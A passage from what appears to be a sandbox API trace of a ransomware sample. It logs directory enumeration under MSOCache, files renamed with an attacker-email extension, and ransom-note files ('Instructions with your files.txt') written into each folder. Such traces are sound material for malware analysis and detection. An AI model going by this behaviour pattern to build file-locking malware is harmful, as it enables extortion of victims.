[0112.165] StrStrIW (lpFirst="WordLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.165] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x80cc7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x267f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="WORDMU~1.COM")) returned 1
[0112.165] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0112.165] StrStrIW (lpFirst="WordMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.165] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x80cc7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x808, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="WORDMU~2.COM")) returned 1
[0112.165] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0112.165] StrStrIW (lpFirst="WordMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.165] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x80cc7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x808, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="WORDMU~2.COM")) returned 0
[0112.165] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.165] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0112.168] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0112.169] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0112.169] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0112.169] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0112.169] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0112.169] CloseHandle (hObject=0x10c) returned 1
[0112.170] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0112.170] GetProcessHeap () returned 0x810000
[0112.170] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0112.170] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x85abd020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x85abd020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1
[0112.170] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned 66
[0112.170] GetProcessHeap () returned 0x810000
[0112.170] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0112.170] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*") returned 68
[0112.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x85abd020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x85abd020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0112.190] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.") returned 68
[0112.190] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.190] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x85abd020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x85abd020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.190] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..") returned 69
[0112.190] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.190] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85abd020, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x85abd020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x85abd020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.190] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.190] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.190] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x82effbe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x82effbe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1
[0112.191] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned 75
[0112.191] GetProcessHeap () returned 0x810000
[0112.191] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be8
[0112.191] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*") returned 77
[0112.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x82effbe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x82effbe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f300
[0112.195] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\.") returned 77
[0112.195] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x82effbe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x82effbe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.195] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\..") returned 78
[0112.195] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82effbe0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x82effbe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x82effbe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.195] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Instructions with your files.txt") returned 108
[0112.195] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.195] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0x8220e440, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xaf36ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFC~1.COM")) returned 1
[0112.195] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0112.195] StrStrIW (lpFirst="Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.195] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0x82e8d7c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd5d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFM~1.COM")) returned 1
[0112.195] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0112.195] StrStrIW (lpFirst="Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.195] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0x82effbe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x643, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFX~1.COM")) returned 1
[0112.196] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0112.196] StrStrIW (lpFirst="Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.196] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0x82effbe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x643, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFX~1.COM")) returned 0
[0112.196] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Instructions with your files.txt") returned 108
[0112.196] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0112.198] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0112.198] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0112.199] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0112.199] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0112.199] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0112.199] CloseHandle (hObject=0x110) returned 1
[0112.199] FindClose (in: hFindFile=0x82f300 | out: hFindFile=0x82f300) returned 1
[0112.199] GetProcessHeap () returned 0x810000
[0112.199] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be8 | out: hHeap=0x810000) returned 1
[0112.199] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x83c3d640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x83c3d640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
[0112.199] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned 75
[0112.199] GetProcessHeap () returned 0x810000
[0112.199] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be8
[0112.199] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*") returned 77
[0112.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x83c3d640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x83c3d640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f300
[0112.214] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\.") returned 77
[0112.214] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x83c3d640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x83c3d640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.214] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\..") returned 78
[0112.214] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83c3d640, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x83c3d640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x83c3d640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.214] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Instructions with your files.txt") returned 108
[0112.214] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.214] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x83c174e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd02bea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFC~1.COM")) returned 1
[0112.214] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0112.214] StrStrIW (lpFirst="Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.214] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x83c3d640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd7300, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFM~1.COM")) returned 1
[0112.214] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0112.214] StrStrIW (lpFirst="Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.214] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x83c3d640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFX~1.COM")) returned 1
[0112.214] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0112.214] StrStrIW (lpFirst="Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.214] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x83c3d640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFX~1.COM")) returned 0
[0112.215] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Instructions with your files.txt") returned 108
[0112.215] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
